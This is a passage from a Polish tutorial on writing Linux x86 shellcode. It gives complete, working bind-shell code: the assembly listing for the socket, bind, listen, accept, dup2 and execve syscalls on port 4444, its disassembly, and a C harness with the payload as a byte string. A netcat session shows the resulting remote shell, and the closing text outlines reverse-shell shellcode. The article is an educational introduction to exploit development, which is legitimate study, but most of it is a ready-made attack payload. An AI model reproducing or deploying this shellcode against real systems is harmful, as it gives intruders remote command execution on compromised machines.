mov al, 102      ;numer wywołania systemowego socket-call
mov bl, 4        ;numer podfunkcji listen() czyli 4
mov ecx, esp     ;w rejestrze ecx umieszczamy adres argumentów na stosie
int 0x80        ;wykonujemy funkcje listen()

```

Opis:

Na stosie umieszczamy argument określający maksymalną ilość  
 połączeń (1) oraz deskryptor gniazda zwrócony przez funkcje `socket()`.  
 W rejestrze AL umieszczamy numer wywołania systemowego `socket-call`.  
 W rejestrze BL umieszczamy numer podfunkcji `listen()` czyli 4.  
 W rejestrze ECX umieszczamy adres argumentów znajdujących się na stosie.  
 Przerwanie programowe `int 0x80` wykonuje funkcje `listen()`.

### **-Funkcja accept().**

```

;accept
xor eax, eax           ;eax 0
push eax              ;push 0
push eax              ;push 0
push edx              ;odkładamy na stos deskryptor gniazda, zwrócony funkcje socket()
mov al, 102           ;numer wywołania systemowego socket-call
inc ebx               ;ebx = ebx + 1 (numer podfunkcji accept() 5)
mov ecx, esp          ;argumenty funkcji accept()
int 0x80              ;wykonujemy funkcje accept()
mov esi, eax          ;rejestr ESI przechowuje teraz deskryptor gniazda klienta,
                     ;zwrócony przez funkcje accept()

```

Opis:

Drugim i trzecim argumentem funkcji accept() jest wskaźnik do struktury sockaddr\_in oraz jej rozmiar. W normalnych warunkach struktura ta wypełniana jest adresem klienta, który się z nami połączył. W naszym przypadku adres ten nie jest nam do niczego potrzebny dlatego "zerujemy" rejestr EAX i dwukrotnie umieszczamy jego wartość (0) na stosie jako drugi i trzeci argument. Następnie na stos odkładamy deskryptor gniazda przechowywany w rejestrze EDX jako pierwszy argument funkcji. W rejestrze AL umieszczamy numer wywołania systemowego socket-call. Zwiększamy wartość rejestru EBX o 1 uzyskując numer podfunkcji accept() czyli 5. W rejestrze ECX umieszczamy adres argumentów znajdujących się na stosie. Przerwanie programowe int 0x80 wykonuje funkcje accept(). Rejestr EAX przechowuje wartość zwracaną przez funkcje. W przypadku funkcji accept() jest to deskryptor gniazda klienta. Kopiujemy wartość rejestru EAX do rejestru ESI. W tym przypadku rejestr ESI używany jest jako rejestr danych i teraz on przechowuje deskryptor gniazda klienta zwrócony przez funkcje accept().

### **-Funkcja dup2().**

```

;dup2
xor eax, eax           ;eax 0
mov al, 63             ;numer wywołania systemowego dup2()
mov ebx, esi           ;umieszczamy deskryptor gniazda klienta w rejestrze EBX
xor ecx, ecx           ;deskryptor standardowego wejścia/wyjścia (ecx 0)[0 == STDIN]
int 0x80               ;wykonujemy funkcje dup2()

```

Opis:

W rejestrze AL umieszczamy numer wywołania systemowego dup2().  
W rejestrze EBX umieszczamy deskryptor gniazda klienta.  
W rejestrze ECX umieszczamy deskryptor standardowego wejścia/wyjścia.  
Wykonujemy funkcje dup2().  
Ponieważ zadaniem, które chcemy zrealizować jest duplikacja trzech standardowych deskryptorów wejścia/wyjścia (STDIN, STDOUT, STDERR) zatem funkcja dup2() musi wykonana być trzykrotnie, za każdym razem zwiększając wartość rejestru ECX o 1.

### **-Funkcja execve().**

```

;execve
jmp short get_address_string

```

shellcode:

```

pop ebx
xor eax, eax
mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 11
lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 0x80

```

get\_address\_string:

```

call shellcode
db '/bin/shNAAAABBBB'

```

Opis:

Funkcja `execve()` była już opisywana w poprzednim punkcie tego artykułu i jest ona niemal identyczna do poprzedniego przykładu. Jedyna różnica polega na tym, iż adres ciągu znaków pobieramy ze stosu bezpośrednio do rejestru EBX, który traktowany jest przez funkcję jako argument zawierający nazwę wykonywanego programu.

Całość wygląda następująco:

```
;bind.asm

Section .text
global _start

_start:

;socket
xor ebx, ebx
push ebx
inc ebx
push ebx
inc ebx
push ebx
xor eax, eax
mov al, 102
dec ebx
mov ecx, esp
int 0x80
mov edx, eax

;bind
xor eax, eax
push eax
push eax
push eax
push word 23569
mov al, 2
push ax
mov ecx, esp
mov al, 16
push eax
push ecx
push edx
mov al, 102
inc ebx
mov ecx, esp
int 0x80

;listen
xor eax, eax
inc eax
push eax
push edx
mov al, 102
mov bl, 4
mov ecx, esp
int 0x80

;accept
xor eax, eax
push eax
push eax
push edx
mov al, 102
inc ebx
mov ecx, esp
int 0x80
```

```

mov esi, eax

;dup2(esi, 0)
xor eax, eax
mov al, 63
mov ebx, esi
xor ecx, ecx
int 0x80

;dup2(esi, 1)
xor eax, eax
mov al, 63
inc ecx
int 0x80

;dup2(esi, 2)
xor eax, eax
mov al, 63
inc ecx
int 0x80

;execve
jmp short get_address_string

```

shellcode:

```

pop ebx
xor eax, eax
mov [ebx + 7], al
mov [ebx + 8], ebx
mov [ebx + 12], eax
mov al, 11
lea ecx, [ebx + 8]
lea edx, [ebx + 12]
int 0x80

```

get\_address\_string:

```

call shellcode
db '/bin/shNAAAABBBB'

```

Uruchamiamy kod powłoki..

```

[h07@MD5 h07]$ nasm -f elf bind.asm
[h07@MD5 h07]$ ld -o bind bind.o
[h07@MD5 h07]$ objdump -d bind

```

bind: file format elf32-i386

Disassembly of section .text:

```

08048080 <_start>:
8048080: 31 db          xor  %ebx,%ebx
8048082: 53            push %ebx
8048083: 43            inc  %ebx
8048084: 53            push %ebx
8048085: 43            inc  %ebx
8048086: 53            push %ebx
8048087: 31 c0         xor  %eax,%eax
8048089: b0 66         mov  $0x66,%al
804808b: 4b            dec  %ebx
804808c: 89 e1         mov  %esp,%ecx
804808e: cd 80         int  $0x80
8048090: 89 c2         mov  %eax,%edx
8048092: 31 c0         xor  %eax,%eax
8048094: 50            push %eax
8048095: 50            push %eax
8048096: 50            push %eax

```

```

8048097: 66 68 11 5c      pushw $0x5c11
804809b: b0 02           mov  $0x2,%al
804809d: 66 50          push %ax
804809f: 89 e1          mov  %esp,%ecx
80480a1: b0 10          mov  $0x10,%al
80480a3: 50            push %eax
80480a4: 51            push %ecx
80480a5: 52            push %edx
80480a6: b0 66          mov  $0x66,%al
80480a8: 43            inc  %ebx
80480a9: 89 e1          mov  %esp,%ecx
80480ab: cd 80          int  $0x80
80480ad: 31 c0          xor  %eax,%eax
80480af: 40            inc  %eax
80480b0: 50            push %eax
80480b1: 52            push %edx
80480b2: b0 66          mov  $0x66,%al
80480b4: b3 04          mov  $0x4,%bl
80480b6: 89 e1          mov  %esp,%ecx
80480b8: cd 80          int  $0x80
80480ba: 31 c0          xor  %eax,%eax
80480bc: 50            push %eax
80480bd: 50            push %eax
80480be: 52            push %edx
80480bf: b0 66          mov  $0x66,%al
80480c1: 43            inc  %ebx
80480c2: 89 e1          mov  %esp,%ecx
80480c4: cd 80          int  $0x80
80480c6: 89 c6          mov  %eax,%esi
80480c8: 31 c0          xor  %eax,%eax
80480ca: b0 3f          mov  $0x3f,%al
80480cc: 89 f3          mov  %esi,%ebx
80480ce: 31 c9          xor  %ecx,%ecx
80480d0: cd 80          int  $0x80
80480d2: 31 c0          xor  %eax,%eax
80480d4: b0 3f          mov  $0x3f,%al
80480d6: 41            inc  %ecx
80480d7: cd 80          int  $0x80
80480d9: 31 c0          xor  %eax,%eax
80480db: b0 3f          mov  $0x3f,%al
80480dd: 41            inc  %ecx
80480de: cd 80          int  $0x80
80480e0: eb 16          jmp  80480f8 <get_address_string>

```

080480e2 <shellcode>:

```

80480e2: 5b            pop  %ebx
80480e3: 31 c0          xor  %eax,%eax
80480e5: 88 43 07      mov  %al,0x7(%ebx)
80480e8: 89 5b 08      mov  %ebx,0x8(%ebx)
80480eb: 89 43 0c      mov  %eax,0xc(%ebx)
80480ee: b0 0b          mov  $0xb,%al
80480f0: 8d 4b 08      lea  0x8(%ebx),%ecx
80480f3: 8d 53 0c      lea  0xc(%ebx),%edx
80480f6: cd 80          int  $0x80

```

080480f8 <get\_address\_string>:

```

80480f8: e8 e5 ff ff   call 80480e2 <shellcode>
80480fd: 2f           das
80480fe: 62 69 6e     bound %ebp,0x6e(%ecx)
8048101: 2f           das
8048102: 73 68        jae 804816c <get_address_string+0x74>
8048104: 4e           dec  %esi
8048105: 41           inc  %ecx
8048106: 41           inc  %ecx
8048107: 41           inc  %ecx

```

```

8048108: 41          inc  %ecx
8048109: 42          inc  %edx
804810a: 42          inc  %edx
804810b: 42          inc  %edx
804810c: 42          inc  %edx

```

```
//test.c
```

```
char shellcode[] =
```

```

"\x31\xdb\x53\x43\x53\x43\x53\x31\xc0\xb0\x66\x4b\x89\xe1\xcd\x80\x89"
"\xc2\x31\xc0\x50\x50\x50\x66\x68\x11\x5c\xb0\x02\x66\x50\x89\xe1\xb0"
"\x10\x50\x51\x52\xb0\x66\x43\x89\xe1\xcd\x80\x31\xc0\x40\x50\x52\xb0"
"\x66\xb3\x04\x89\xe1\xcd\x80\x31\xc0\x50\x50\x52\xb0\x66\x43\x89\xe1"
"\xcd\x80\x89\xc6\x31\xc0\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\xb0"
"\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\xeb\x16\x5b\x31\xc0\x88"
"\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

```

```

main()
{
void (*test)() = (void *)shellcode;
test();
}

```

```

[h07@MD5 h07]$ gcc -o test test.c
[h07@MD5 h07]$ ./test

```

```

[h07@MD5 h07]$ nc -v localhost 4444
MD5 [127.0.0.1] 4444 (krb524) open
whoami
h07

```

Po wykonaniu połączenia na porcie 4444 uzyskaliśmy dostęp do powłoki systemu. Shellcode w wyżej zaprezentowanym programie test.c został pozbawiony bajtów rezerwujących co zmniejszyło jego rozmiar. Przy pomocy programu **strace** możemy zaobserwować wywołania systemowe z których korzysta nasz shellcode..

```

[h07@MD5 h07]$ strace ./test
..
..
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */) = 0
..
..

```

## Outro.

Różnorodność systemów operacyjnych sprawia, że shellcoding jest dość rozwiniętą dziedziną programowania. Główny mankament tworzenia kodów powłoki w systemie Windows poruszyłem już na początku tego artykułu. Pamiętajmy, że nie wszystkie systemy operacyjne bazują na architekturze procesorów IA32 (x86). Większość systemów Solaris wykorzystuje procesory SPARC (Scalable Processor Architecture) i jeśli chcemy stworzyć shellcode dla takiej platformy to niezbędne staje się zapoznanie z assemblerem procesorów SPARC. W sytuacjach, gdy nie znamy adresu IP atakowanej maszyny (np.: podczas wykorzystania błędu w przeglądarce internetowej) niezwykle przydatny staje się

kod powłoki, który połączy się z naszym komputerem dając nam dostęp do interpretera poleceń atakowanego systemu. Shellcode taki nazywany jest kodem powłoki zwrotnej (shell reverse shellcode) i działa podobnie do kodu, który stworzyliśmy. Różnica polega na tym, że kod powłoki zwrotnej wykonuje funkcję connect() zamiast funkcji listen(), bind(), accept(). Zapewne ktoś, kto biegle posługuje się assemblerem stwierdzi, że zaprezentowane przeze mnie kody powłoki można ulepszyć by zmniejszyć ich rozmiar. Zgadzam się z tym ale moim celem było wprowadzenie czytelnika w podstawy tworzenie shellcodów i mają one charakter dydaktyczny.

EoF ;